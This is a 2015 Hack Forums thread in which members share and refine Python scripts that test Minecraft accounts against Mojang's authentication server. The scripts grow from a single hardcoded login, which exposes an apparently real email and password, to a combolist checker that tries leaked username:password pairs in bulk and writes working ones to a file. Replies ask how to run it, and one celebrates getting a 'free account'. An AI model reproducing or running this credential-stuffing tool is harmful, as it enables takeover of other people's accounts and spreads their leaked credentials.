

Forum:[Hack Forums](#)

Thread: [Minecraft Alternate Account Checker](#)

Hopeful Goods - April 28, 2015, 5:57 pm

Requires requests

yum install python-requests.noarch -y

PHP Code

```
<?php
import requests
import json

data = json.dumps({"agent":{"name":"Minecraft","version":1},"username":
"Christianjackson22@hotmail.com","password":"morgan1","clientToken":""})
headers = {'Content-Type': 'application/json'}
r = requests.post('https://authserver.mojang.com/authenticate', data=data, headers=headers)

print (r.text)
```

MR.FREE - April 28, 2015, 7:58 pm

Sweet thanks for the share broham

?enpai - May 1, 2015, 8:21 am

Added combolist support

Each line must be like user:pass

Code import requests

import json

import sys

```
def CheckAlt(combolist):
    with open(combolist, 'r') as lines:
        for line in lines:
            try:
                line = line.split(':')
                username = line[0]
                password = line[1]
            except Exception as e:
                print "[-] Error: %s" % e
            data =
json.dumps({"agent":{"name":"Minecraft","version":1},"username":username,"password":password,"c
lientToken":""})
            headers = {'Content-Type': 'application/json'}
            r = requests.post('https(colon)//authserver(dot)mojang(dot)com/authenticate', data=data,
headers=headers)
            print (r.text)

def main():
```

```
combolist = sys.argv[1]
CheckAlt(combolist)
```

```
if __name__ == '__main__':
    main()
```

Hopeful Goods - May 1, 2015, 2:22 pm

(May 1, 2015 08:21 AM)imusingthistostalkpeople Wrote: [\[CITE\]](#) Added combolist support
Each line must be like user:pass

Code import requests

```
import json
import sys
```

```
def CheckAlt(combolist):
    with open(combolist, 'r') as lines:
        for line in lines:
            try:
                line = line.split(':')
                username = line[0]
                password = line[1]
            except Exception as e:
                print "[-] Error: %s" % e
            data =
```

```
json.dumps({"agent":{"name":"Minecraft","version":1},"username":username,"password":password,"c
lientToken":""})
            headers = {'Content-Type': 'application/json'}
            r = requests.post('https(colon)//authserver(dot)mojang(dot)com/authenticate', data=data,
headers=headers)
            print (r.text)
```

```
def main():
    combolist = sys.argv[1]
    CheckAlt(combolist)
```

```
if __name__ == '__main__':
    main()
```

Why didn't you finish the code and make it handle the response as another split and just export to a list the ones that succeed.

AlexJoe - May 1, 2015, 6:59 pm

thx for the shares looks rely good

sp3ctrum - May 1, 2015, 8:43 pm

(May 1, 2015 08:21 AM)imusingthistostalkpeople Wrote: [\[CITE\]](#) Added combolist support
Each line must be like user:pass

Code import requests

```
import json
import sys
```

```
def CheckAlt(combolist):
    with open(combolist, 'r') as lines:
```

```

for line in lines:
    try:
        line = line.split(':')
        username = line[0]
        password = line[1]
    except Exception as e:
        print "[-] Error: %s" % e
    data =
json.dumps({"agent":{"name":"Minecraft","version":1},"username":username,"password":password,"clientToken":""})
    headers = {'Content-Type': 'application/json'}
    r = requests.post('https(colon)//authserver(dot)mojang(dot)com/authenticate', data=data,
headers=headers)
    print (r.text)

def main():
    combolist = sys.argv[1]
    CheckAlt(combolist)

```

```

if __name__ == '__main__':
    main()

```

Your code doesn't work. It's not indented right, and your combo support only checks the last string in the file. You have to add each entry to an array or list then send it over to the requests. I was bored so here is a little example, probably will add a function that will let you parse multiple combo list at the sametime in the current directory but this will do for now.

Code import requests

```

import json
import sys, time, os, optparse, re
from colorama import Fore, Style
from urllib2 import HTTPError

```

```

usernames = []
passwords = []

```

colorama windows

```

if os.name == 'nt' or sys.platform.startswith('win'):
    from colorama import init
    init()

```

Print Functions

```

def good( msg ): print Style.BRIGHT + Fore.GREEN + "[" + Fore.WHITE + "*" + Fore.GREEN + "]" "
+ Fore.WHITE + str( msg ) + Fore.RESET
def status( msg ): print Style.BRIGHT + Fore.BLUE + "[" + Fore.WHITE + "*" + Fore.BLUE + "]" " +
Fore.WHITE + str( msg ) + Fore.RESET
def error( msg ): print Style.BRIGHT + Fore.RED + "[" + Fore.WHITE + "*" + Fore.RED + "]" " +
Fore.WHITE + str( msg ) + Fore.RESET

```

Close Function

```

def cls():
    if os.name == 'nt' or sys.platform.startswith('win'):
        os.system('cls')
    else:

```

```

os.system('clear')

# Banner
def banner():
    cls()
    print Style.BRIGHT + Fore.GREEN + "-" * 50 + Fore.RESET
    print Style.BRIGHT + "\tMojang Minecraft Account Checker" + Fore.RESET
    print Style.BRIGHT + "\t\tBy: " + Fore.WHITE + "The_Chang" + Fore.RESET
    print Fore.GREEN + "-" * 50 + "\n" + Fore.RESET

# Command Line Parser
parser = optparse.OptionParser(banner())
parser.add_option("-l", dest="ComboList", default=None, type="string", help="Combolist to be used.
ex: combolist.txt")
(options, args) = parser.parse_args()

# Command Line args Check
args = sys.argv[1:]
if not args:
    parser.print_help()
    sys.exit()

if options.ComboList == None:
    error("Provide Combolist to parse!")
    parser.print_help()
    sys.exit()

# Single Combo List Function
def singlecombolist():
    if os.path.exists(options.ComboList):
        status("Parsing Combolist...")
        time.sleep(2)
        with open(options.ComboList, 'r') as lines:
            for entry in lines:
                try:
                    entry = entry.split(':')
                    usernames.append(entry[0].strip())
                    passwords.append(entry[1].strip())
                except Exception as e:
                    error("File must be in username:password format!")
    elif IOError:
        error("Could not open file path...")

    status("Checking for valid user:pass...")
    time.sleep(2)
    print "\n"
    for users, passes in zip(usernames, passwords):
        data =
json.dumps({"agent":{"name":"Minecraft","version":1},"username":str(users),"password":str(passes),"
clientToken":""})
        headers = {'Content-Type': 'application/json'}
        try:
            r = requests.post('https://authserver.mojang.com/authenticate', data=data,

```

```

headers=headers)
    m = re.search(r'{"error"', r.text, re.M|re.S)
except HTTPError, e:
    error("Connection could not be established...")
    error("Exiting...")
    time.sleep(3)
    sys.exit()
else:
    if m:
        error("Failed - %s:%s" % (users, passes))
    else:
        good("Success - %s:%s" % (users,passes))
        existing = set()
        foundfile = open('found.txt', 'r+a')
        for line in foundfile:
            if line not in existing:
                foundfile.write(users + ":" + passes + "\n")
                existing.add(line)
        foundfile.close()
print "\n"
print Fore.GREEN + "-" * 50 + Fore.RESET
status("Check found.txt!")

```

Main Function

```

def main():
    singlecombolist()

```

```

if __name__ == '__main__':
    main()

```

Hopeful Goods - May 1, 2015, 8:49 pm

(May 1, 2015 08:43 PM)The_Chang Wrote: [\[CITE\]](#) Your code doesn't work. It's not indented right, and your combo support only checks the last string in the file. You have to add each entry to an array or list then send it over to the requests. I was bored so here is a little example, probably will add a function that will let you parse multiple combo list at the sametime in the current directory but this will do for now.

Code import requests

```

import json
import sys, time, os, optparse, re
from colorama import Fore, Style
from urllib2 import HTTPError

```

```

usernames = []
passwords = []

```

colorama windows

```

if os.name == 'nt' or sys.platform.startswith('win'):
    from colorama import init
    init()

```

Print Functions

```

def good( msg ): print Style.BRIGHT + Fore.GREEN + "[" + Fore.WHITE + "*" + Fore.GREEN + "]" "

```

```

+ Fore.WHITE + str( msg ) + Fore.RESET
def status( msg ): print Style.BRIGHT + Fore.BLUE + "[" + Fore.WHITE + "*" + Fore.BLUE + "]" +
Fore.WHITE + str( msg ) + Fore.RESET
def error( msg ): print Style.BRIGHT + Fore.RED + "[" + Fore.WHITE + "*" + Fore.RED + "]" +
Fore.WHITE + str( msg ) + Fore.RESET

# Close Function
def cls():
    if os.name == 'nt' or sys.platform.startswith('win'):
        os.system('cls')
    else:
        os.system('clear')

# Banner
def banner():
    cls()
    print Style.BRIGHT + Fore.GREEN + "-" * 50 + Fore.RESET
    print Style.BRIGHT + "\tMojang Minecraft Account Checker" + Fore.RESET
    print Style.BRIGHT + "\t\tBy: " + Fore.WHITE + "The_Chang" + Fore.RESET
    print Fore.GREEN + "-" * 50 + "\n" + Fore.RESET

# Command Line Parser
parser = optparse.OptionParser(banner())
parser.add_option("-l", dest="ComboList", default=None, type="string", help="Combolist to be used.
ex: combolist.txt")
(options, args) = parser.parse_args()

# Command Line args Check
args = sys.argv[1:]
if not args:
    parser.print_help()
    sys.exit()

if options.ComboList == None:
    error("Provide Combolist to parse!")
    parser.print_help()
    sys.exit()

# Single Combo List Function
def singlecombolist():
    if os.path.exists(options.ComboList):
        status("Parsing Combolist...")
        time.sleep(2)
        with open(options.ComboList, 'r') as lines:
            for entry in lines:
                try:
                    entry = entry.split(':')
                    usernames.append(entry[0].strip())
                    passwords.append(entry[1].strip())
                except Exception as e:
                    error("File must be in username:password format!")
    elif IOError:
        error("Could not open file path...")

```

```

status("Checking for valid user:pass...")
time.sleep(2)
print "\n"
for users, passes in zip(usernames, passwords):
    data =
json.dumps({"agent":{"name":"Minecraft","version":1},"username":str(users),"password":str(passes),"
clientToken":""})
    headers = {'Content-Type': 'application/json'}
    try:
        r = requests.post('https://authserver.mojang.com/authenticate', data=data,
headers=headers)
        m = re.search(r'{"error"', r.text, re.M|re.S)
    except HTTPError, e:
        error("Connection could not be established...")
        error("Exiting...")
        time.sleep(3)
        sys.exit()
    else:
        if m:
            error("Failed - %s:%s" % (users, passes))
        else:
            good("Success - %s:%s" % (users,passes))
            existing = set()
            foundfile = open('found.txt', 'r+a')
            for line in foundfile:
                if line not in existing:
                    foundfile.write(users + ":" + passes + "\n")
                    existing.add(line)
            foundfile.close()
print "\n"
print Fore.GREEN + "-" * 50 + Fore.RESET
status("Check found.txt!")

```

Main Function

```
def main():
```

```
    singlecombolist()
```

```
if __name__ == '__main__':
```

```
    main()
```

Could you please explain this to me?

```
m = re.search(r'{"error"', r.text, re.M|re.S)
```

sp3ctrum - May 1, 2015, 9:51 pm

(May 1, 2015 08:49 PM)Hopeful Goods Wrote: [\[CITE\]](#) Could you please explain this to me?

```
m = re.search(r'{"error"', r.text, re.M|re.S)
```

Its python's regex re module. Basically it preforms a search based off a pattern. Here I am searching for {"error" in the r object which is your request in the line above.

Code r'search_term_here', r.text(the line above, searching the body of the url request for the pattern)

I would suggest reading: <https://docs.python.org/2/library/re.html> to get a better understanding.

EvoSat - May 2, 2015, 6:55 am

Thanks but it gives me error then it closes? I'm not sure if I need a specific package installed ?

sp3ctrum - May 2, 2015, 3:29 pm

(May 2, 2015 06:55 AM)EvoSat Wrote: [\[CITE\]](#) Thanks but it gives me error then it closes? I'm not sure if I need a specific package installed ?

Send me the error. I'm on linux so it may be an os issue if your using windows, or the path of the combolist. Ill figure it out, but so far code works fine on my end.

NotSoCaleb - May 2, 2015, 3:43 pm

how do you use this? thank

deiski - May 12, 2015, 9:56 pm

Thanks for the free account BAHAAH.